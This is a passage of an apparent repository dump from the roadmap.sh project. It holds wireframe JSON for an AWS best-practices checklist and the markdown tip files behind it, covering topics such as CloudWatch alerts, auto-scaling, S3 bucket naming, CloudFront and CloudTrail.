IPs.\"}}]}}},{\"ID\":\"549\",\"typeID\":\"__group__\",\"zOrder\":\"157\",\"measuredW\":\"539\",\"measuredH\":\"28\",\"w\":\"539\",\"h\":\"28\",\"x\":\"904\",\"y\":\"1528\",\"properties\":{\"controlName\":\"configuration-endpoints\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"539\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use configuration endpoints over individual node endpoints.\"}}]}}},{\"ID\":\"550\",\"typeID\":\"__group__\",\"zOrder\":\"156\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1526\",\"properties\":{\"controlName\":\"check:configuration-endpoints\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"563\",\"typeID\":\"__group__\",\"zOrder\":\"135\",\"measuredW\":\"367\",\"measuredH\":\"28\",\"w\":\"367\",\"h\":\"28\",\"x\":\"909\",\"y\":\"2150\",\"properties\":{\"controlName\":\"s3-hive-results\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"367\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Specify a directory on S3 for Hive results.\"}}]}}},{\"ID\":\"564\",\"typeID\":\"__group__\",\"zOrder\":\"134\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"2149\",\"properties\":{\"controlName\":\"check:s3-hive-results\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"565\",\"typeID\":\"__group__\",\"zOrder\":\"130\",\"measuredW\":\"175\",\"measuredH\":\"28\",\"w\":\"175\",\"h\":\"28\",\"x\":\"909\",\"y\":\"1992\",\"properties\":{\"controlName\":\"use-alias-records\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"175\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use ALIAS records.\"}}]}}},{\"ID\":\"566\",\"typeID\":\"__group__\",\"zOrder\":\"129\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1991\",\"properties\":{\"controlName\":\"check:use-alias-records\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"579\",\"typeID\":\"__group__\",\"zOrder\":\"60\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"882\",\"properties\":{\"controlName\":\"check:bucket-names-ssl\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"580\",\"typeID\":\"__group__\",\"zOrder\":\"61\",\"measuredW\":\"411\",\"measuredH\":\"28\",\"w\":\"411\",\"h\":\"28\",\"x\":\"906\",\"y\":\"883\",\"properties\":{\"controlName\":\"bucket-names-ssl\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"411\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use \\\"-\\\" instead of \\\".\\\" in bucket names for SSL.\"}}]}}},{\"ID\":\"581\",\"typeID\":\"__group__\",\"zOrder\":\"62\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"922\",\"properties\":{\"controlName\":\"check:avoid-fs-mounts\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"582\",\"typeID\":\"__group__\",\"zOrder\":\"63\",\"measuredW\":\"329\",\"measuredH\":\"28\",\"w\":\"329\",\"h\":\"28\",\"x\":\"906\",\"y\":\"923\",\"properties\":{\"controlName\":\"avoid-fs-mounts\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"329\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Avoid filesystem mounts (FUSE, etc).\"}}]}}},{\"ID\":\"583\",\"typeID\":\"__group__\",\"zOrder\":\"64\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"962\",\"properties\":{\"controlName\":\"check:cloudfront-in-front-of-s3\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"584\",\"typeID\":\"__group__\",\"zOrder\":\"65\",\"measuredW\":\"539\",\"measuredH\":\"28\",\"w\":\"539\",\"h\":\"28\",\"x\":\"906\",\"y\":\"963\",\"properties\":{\"controlName\":\"cloudfront-in-front-of-s3\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"539\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Having CloudFront in front of S3 is optional (but it can help).\"}}]}}},{\"ID\":\"585\",\"typeID\":\"__group__\",\"zOrder\":\"66\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1002\",\"properties\":{\"controlName\":\"check:random-strings-keys\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"586\",\"typeID\":\"__group__\",\"zOrder\":\"67\",\"measuredW\":\"396\",\"measuredH\":\"28\",\"w\":\"396\",\"h\":\"28\",\"x\":\"906\",\"y\":\"1003\",\"properties\":{\"controlName\":\"random-strings-keys\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"396\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use random strings at the start of your keys.\"}}]}}},{\"ID\":\"587\",\"typeID\":\"__group__\",\"zOrder\":\"109\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1690\",\"properties\":{\"controlName\":\"check:scale-down-events\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"588\",\"typeID\":\"__group__\",\"zOrder\":\"110\",\"measuredW\":\"504\",\"measuredH\":\"28\",\"w\":\"504\",\"h\":\"28\",\"x\":\"905\",\"y\":\"1691\",\"properties\":{\"controlName\":\"scale-down-events\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"504\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Scale down on INSUFFICIENT_DATA as well as ALARM.\"}}]}}},{\"ID\":\"589\",\"typeID\":\"__group__\",\"zOrder\":\"111\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1735\",\"properties\":{\"controlName\":\"check:elb-healthchecks\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"590\",\"typeID\":\"__group__\",\"zOrder\":\"112\",\"measuredW\":\"475\",\"measuredH\":\"28\",\"w\":\"475\",\"h\":\"28\",\"x\":\"905\",\"y\":\"1736\",\"properties\":{\"controlName\":\"elb-healthchecks\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"475\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use ELB health check instead of EC2 health checks.\"}}]}}},{\"ID\":\"591\",\"typeID\":\"__group__\",\"zOrder\":\"113\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1780\",\"properties\":{\"controlName\":\"check:configured-azs-only\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"592\",\"typeID\":\"__group__\",\"zOrder\":\"114\",\"measuredW\":\"562\",\"measuredH\":\"28\",\"w\":\"562\",\"h\":\"28\",\"x\":\"906\",\"y\":\"1781\",\"properties\":{\"controlName\":\"configured-azs-only\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"562\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Only use the availability zones (AZs) your ELB is configured for.\"}}]}}},{\"ID\":\"593\",\"typeID\":\"__group__\",\"zOrder\":\"115\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"1825\",\"properties\":{\"controlName\":\"check:avoid-multiple-scaling-triggers\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"594\",\"typeID\":\"__group__\",\"zOrder\":\"116\",\"measuredW\":\"448\",\"measuredH\":\"28\",\"w\":\"448\",\"h\":\"28\",\"x\":\"906\",\"y\":\"1826\",\"properties\":{\"controlName\":\"avoid-multiple-scaling-triggers\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"448\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Avoid multiple scaling triggers on the same group.\"}}]}}},{\"ID\":\"601\",\"typeID\":\"__group__\",\"zOrder\":\"3\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"501\",\"properties\":{\"controlName\":\"check:disable-ssh-access\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"602\",\"typeID\":\"__group__\",\"zOrder\":\"4\",\"measuredW\":\"399\",\"measuredH\":\"28\",\"w\":\"399\",\"h\":\"28\",\"x\":\"905\",\"y\":\"502\",\"properties\":{\"controlName\":\"disable-ssh-access\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"399\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Disable SSH access to all servers (Optional)\"}}]}}},{\"ID\":\"603\",\"typeID\":\"__group__\",\"zOrder\":\"5\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"542\",\"properties\":{\"controlName\":\"check:service-over-servers\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"604\",\"typeID\":\"__group__\",\"zOrder\":\"6\",\"measuredW\":\"445\",\"measuredH\":\"28\",\"w\":\"445\",\"h\":\"28\",\"x\":\"905\",\"y\":\"543\",\"properties\":{\"controlName\":\"service-over-servers\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"445\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Care about service as a whole instead of servers.\"}}]}}},{\"ID\":\"605\",\"typeID\":\"__group__\",\"zOrder\":\"7\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"583\",\"properties\":{\"controlName\":\"check:avoid-server-eips\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"606\",\"typeID\":\"__group__\",\"zOrder\":\"8\",\"measuredW\":\"321\",\"measuredH\":\"28\",\"w\":\"321\",\"h\":\"28\",\"x\":\"905\",\"y\":\"584\",\"properties\":{\"controlName\":\"avoid-server-eips\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"321\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Don't give servers static/elastic IPs.\"}}]}}},{\"ID\":\"607\",\"typeID\":\"__group__\",\"zOrder\":\"9\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"624\",\"properties\":{\"controlName\":\"check:automate-everything\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"608\",\"typeID\":\"__group__\",\"zOrder\":\"10\",\"measuredW\":\"190\",\"measuredH\":\"28\",\"w\":\"190\",\"h\":\"28\",\"x\":\"905\",\"y\":\"625\",\"properties\":{\"controlName\":\"automate-everything\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"190\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Automate everything.\"}}]}}},{\"ID\":\"609\",\"typeID\":\"__group__\",\"zOrder\":\"11\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"665\",\"properties\":{\"controlName\":\"check:use-iam-acount\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"610\",\"typeID\":\"__group__\",\"zOrder\":\"12\",\"measuredW\":\"519\",\"measuredH\":\"28\",\"w\":\"519\",\"h\":\"28\",\"x\":\"905\",\"y\":\"666\",\"properties\":{\"controlName\":\"use-iam-acount\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"519\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Everyone gets an IAM account. Never login to the master.\"}}]}}},{\"ID\":\"611\",\"typeID\":\"__group__\",\"zOrder\":\"13\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"859\",\"y\":\"707\",\"properties\":{\"controlName\":\"check:alerts-as-notifications\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"612\",\"typeID\":\"__group__\",\"zOrder\":\"14\",\"measuredW\":\"352\",\"measuredH\":\"28\",\"w\":\"352\",\"h\":\"28\",\"x\":\"905\",\"y\":\"708\",\"properties\":{\"controlName\":\"alerts-as-notifications\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"352\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Get your alerts to become notifications.\"}}]}}}]},\"attributes\":{\"name\":\"New Wireframe 1 copy 3\",\"order\":1000016.2408968211,\"parentID\":null,\"notes\":\"\"},\"branchID\":\"Master\",\"resourceID\":\"13C27694-0370-442D-AECD-EFA2B687DD15\",\"mockupH\":\"2443\",\"mockupW\":\"1331\",\"measuredW\":\"1478\",\"measuredH\":\"2577\",\"version\":\"1.0\"},\"groupOffset\":{\"x\":0,\"y\":0},\"dependencies\":[],\"projectID\":\"file:///Users/kamranahmed/Desktop/devops%20roadmap%5C.bmpr\"}"
  },
  {
    "path": "src/data/best-practices/aws/aws.md",
    "content": "---\njsonUrl: '/jsons/best-practices/aws.json'\npdfUrl: '/pdfs/best-practices/aws.pdf'\norder: 3\nbriefTitle: 'AWS'\nbriefDescription: 'AWS Best Practices'\nisNew: false\nisUpcoming: false\ntitle: 'AWS Best Practices'\ndescription: 'Detailed list of best practices for Amazon Web Services (AWS)'\ndimensions:\n  width: 968\n  height: 1770.7\nschema:\n  headline: 'AWS Best Practices'\n  description: 'Detailed list of best practices for Amazon Web Services (AWS). Each best practice carries further details and how to implement that best practice.'\n  imageUrl: 'https://roadmap.sh/best-practices/aws.png'\n  datePublished: '2023-02-21'\n  dateModified: '2023-02-21'\nseo:\n  title: 'AWS Best Practices'\n  description: 'Detailed list of best practices for Amazon Web Services (AWS). Each best practice carries further details and how to implement that best practice.'\n  keywords:\n    - 'Amazon Web Services Tips'\n    - 'AWS Tips'\n    - 'AWS Best Practices'\n    - 'Amazon Web Services Best Practices'\n---\n"
  },
  {
    "path": "src/data/best-practices/aws/content/alerts-as-notifications.md",
    "content": "# Alerts as Notifications\n\n> Get your alerts to become notifications.\n\nIf you've set everything up correctly, your health checks should automatically destroy bad instances and spawn new ones. There's usually no action to take when getting a CloudWatch alert, as everything should be automated. If you're getting alerts where manual intervention is required, do a post-mortem and figure out if there's a way you can automate the action in future. The last time I had an actionable alert from CloudWatch was about a year ago, and it's extremely awesome not to be woken up at 4am for ops alerts any more.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/app-changes-for-aws.md",
    "content": "# App Changes for AWS\n\nWhile a lot of applications can probably just be deployed to an EC2 instance and work well, if you're coming from a physical environment, you may need to re-architect your application in order to accommodate changes. Don't just think you can copy the files over and be done with it.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/application-state.md",
    "content": "# Application State\n\n> Do not store application state on servers.\n\nThe reason for this is so that if you server gets killed, you won't lose any application state. To that end, sessions should be stored in a database (or some other sort of central storage; memcached, redis, etc.), not on the local filesystem. Examples:\n\n- Logs should be handled via syslog (or similar) and sent to a remote store.\n- Uploads should go direct to S3 (don't store on local filesystem and have another process move to S3 for example). For S3 you can use [pre-signed URLs](http://docs.aws.amazon.com/AmazonS3/latest/dev/PresignedUrlUploadObject.html) to let your users directly upload to S3 by bypassing your server entirely.\n- Any post-processing or long running tasks should be done via an asynchronous queue (SQS is great for this).\n"
  },
  {
    "path": "src/data/best-practices/aws/content/automate-everything.md",
    "content": "# Automate Everything\n\nThis is more of general operations advice than AWS specific, but everything needs to be automated. Recovery, deployment, failover, etc. Package and OS updates should be managed by something, whether it's just a bash script, or Chef/Puppet, etc. You shouldn't have to care about this stuff. As mentioned in a different tip, you should also make sure to disable SSH access, as this will pretty quickly highlight any part of your process that isn't automated. Remember the key phrase from the earlier tip, if you have to SSH into your servers, then your automation has failed.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/avoid-fs-mounts.md",
    "content": "# Avoid FS Mounts\n\n> Avoid filesystem mounts (FUSE, etc).\n\nI've found them to be about as reliable as a large government department when used in critical applications. Use the SDK instead.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/avoid-multiple-scaling-triggers.md",
    "content": "# Multiple Scaling Triggers\n\n> Don't use multiple scaling triggers on the same group.\n\nIf you have multiple CloudWatch alarms which trigger scaling actions for the same auto-scaling group, it might not work as you initially expect it to. For example, let's say you add a trigger to scale up when CPU usage gets too high, or when the inbound network traffic gets high, and your scale down actions are the opposite. You might get an increase in CPU usage, but your inbound network is fine. So the high CPU trigger causes a scale-up action, but the low inbound traffic alarm immediately triggers a scale-down action. Depending on how you've set your cooldown period, this can cause quite a problem as they'll just fight against each other. If you want multiple triggers, you can use multiple auto-scaling groups.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/avoid-server-eips.md",
    "content": "# Avoid Server EIPs\n\n> Don't give servers static/elastic IPs.\n\nFor a typical web application, you should put things behind a load balancer, and balance them between AZs. There are a few cases where Elastic IPs will probably need to be used, but in order to make best use of auto-scaling you'll want to use a load balancer instead of giving every instance their own unique IP.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/aws-naming-convention.md",
    "content": "# Naming Convention\n\n> Decide on a naming convention early, and stick to it.\n\nThere's a lot of resources on AWS where you can change the name later, but there's equally a lot where you cannot (security group names, etc). Having a consistent naming convention will help to self-document your infrastructure. Don't forget to make use of tags too.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/aws-right-choice.md",
    "content": "# AWS Right Choice\n\n> Make sure AWS is right for your workload.\n\nYou should make sure that using AWS is correct for your particular workload. If you have a steady load and 24/7 servers, it's possible there are cheaper providers you can use, or it might even be cheaper to use dedicated hardware of your own. One of the big benefits of AWS is the ability to scale up and down rapidly in response to load, but not everyone needs that feature. As when purchasing anything, you should shop around a bit first to make sure you're getting the best deal for what you need\n"
  },
  {
    "path": "src/data/best-practices/aws/content/beware-aws-limits.md",
    "content": "# Beware AWS Limits\n\n> Be aware of AWS service limits before you deploy.\n\nVarious service limits are enforced which aren't highlighted until you're actually trying to deploy your application and get the error notification. These limits can easily be increased by making a request to AWS support, however that can involve a significant turn around time (as low as a few minutes, up to a few days, based on past experience), during which you won't be able to finish deploying. A few days before deploying, you should consult the service limits page to see if you think you're going to exceed any of them, and make your support request ahead of time. You will need to make a separate request to each department where you need a limit increased. It's also worth pointing out that some limits are global, while others are per-region.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/billing-alerts.md",
    "content": "# Billing Alerts\n\n> Set up granular billing alerts.\n\nYou should always have at least one billing alert set up, but that will only tell you on a monthly basis once you've exceeded your allowance. If you want to catch runaway billing early, you need a more fine grained approach. The way I do it is to set up an alert for my expected usage each week. So the first week's alert for say $1,000, the second for $2,000, third for $3,000, etc. If the week-2 alarm goes off before the 14th/15th of the month, then I know something is probably going wrong. For even more fine-grained control, you can set this up for each individual service, that way you instantly know which service is causing the problem. This could be useful if your usage on one service is quite steady month-to-month, but another is more erratic. Have the individual weekly alerts for the steady one, but just an overall one for the more erratic one. If everything is steady, then this is probably overkill, as looking at CloudWatch will quickly tell you which service is the one causing the problem.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/bucket-names-ssl.md",
    "content": "# Bucket Names\n\n> Use \"-\" instead of \".\" in bucket names for SSL.\n\nIf you ever want to use your bucket over SSL, using a \".\" will cause you to get certificate mismatch errors. You can't change bucket names once you've created them, so you'd have to copy everything to a new bucket.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/cloudfront-in-front-of-s3.md",
    "content": "# Cloudfront and S3\n\n> You don't have to use CloudFront in front of S3 (but it can help).\n\nIf all you care about is scalability, you can link people directly to the S3 URL instead of using CloudFront. S3 can scale to any capacity, so is great if that's all your care about. Additionally, updates are available quickly in S3, yet you have to wait for the TTL when using a CDN to see the change (although I believe you can set a 0s TTL in CloudFront now, so this point is probably moot).\n\nIf you need speed, or are handling very high bandwidth (10TB+), then you might want to use a CDN like CloudFront in front of S3. CloudFront can dramatically [speed up access](http://www.quora.com/What-are-typical-latencies-for-static-content-in-S3-vs-Cloudfront) for users around the globe, as it copies your content to edge locations. Depending on your use case, this can also work out slightly cheaper if you deal with very high bandwidth (10TB+) with lower request numbers, as it's about $0.010/GB cheaper for CloudFront bandwidth than S3 bandwidth once you get above 10TB, but the cost per request is slightly higher than if you were to access the files from S3 directly. Depending on your usage pattern, the savings from bandwidth could outweigh the extra cost per request. Since content is only fetched from S3 infrequently (and at a much lower rate than normal), your S3 cost would be much smaller than if you were serving content directly from S3. The [AWS documentation on CloudFront](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/MigrateS3ToCloudFront.html) explains how you can use it with S3.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/cloudtrail.md",
    "content": "# CloudTrail\n\n> Use CloudTrail to keep an audit log.\n\nCloudTrail will log any action performed via the APIs or web console into an S3 bucket. Set up the bucket with versioning to be sure no one can modify your logs, and you then have a complete audit trail of all changes in your account. You hope that you will never need to use this, but it's well worth having for when you do.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/cloudwatch-cli-tools.md",
    "content": "# CLI Tools\n\n> Use the CLI tools.\n\nIt can become extremely tedious to create alarms using the web console, especially if you're setting up a lot of similar alarms, as there's no ability to \"clone\" an existing alarm while making a minor change elsewhere. Scripting this using the CLI tools can save you lots of time.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/cloudwatch-custom-metrics.md",
    "content": "# Custom Metrics\n\n> Use custom metrics.\n\nIf you want to monitor things not covered by the free metrics, you can send your own metric information to CloudWatch and make use of the alarms and graphing features. This can not only be used for things like tracking diskspace usage, but also for custom application metrics too. The AWS page on [publishing custom metrics](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/publishingMetrics.html) has more information.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/cloudwatch-detailed-monitoring.md",
    "content": "# Detailed Monitoring\n\n> Use detailed monitoring.\n\nIt's ~$3.50 per instance/month, and well worth the extra cost for the extra detail. 1 minute granularity is much better than 5 minute. You can have cases where a problem is hidden in the 5 minute breakdown, but shows itself quite clearly in the 1 minute graphs. This may not be useful for everyone, but it's made investigating some issues much easier for me.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/cloudwatch-free-metrics.md",
    "content": "# Free Metrics\n\n> Use the free metrics.\n\nCloudWatch monitors all sorts of things for free (bandwidth, CPU usage, etc.), and you get up to 2 weeks of historical data. This saves you having to use your own tools to monitor you systems. If you need longer than 2 weeks, unfortunately you'll need to use a third-party or custom built monitoring solution.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/configuration-endpoints.md",
    "content": "# Configuration Endpoints\n\n> Use the configuration endpoints, instead of individual node endpoints.\n\nNormally you would have to make your application aware of every Memcached node available. If you want to dynamically scale up your capacity, then this becomes an issue as you will need to have some way to make your application aware of the changes. An easier way is to use the configuration endpoint, which means using an AWS version of a Memcached library that abstracts away the auto-discovery of new nodes. The [AWS guide to cache node auto-discovery](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/WhatIs.html) has more information.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/configured-azs-only.md",
    "content": "# Configured AZs\n\n> Only use the availability zones (AZs) your ELB is configured for.\n\nIf you add your scaling group to multiple AZs, make sure your ELB is configured to use all of those AZs, otherwise your capacity will scale up, and the load balancer won't be able to see them.\n"
  },
  {
    "path": "src/data/best-practices/aws/content/disable-ssh-access.md",
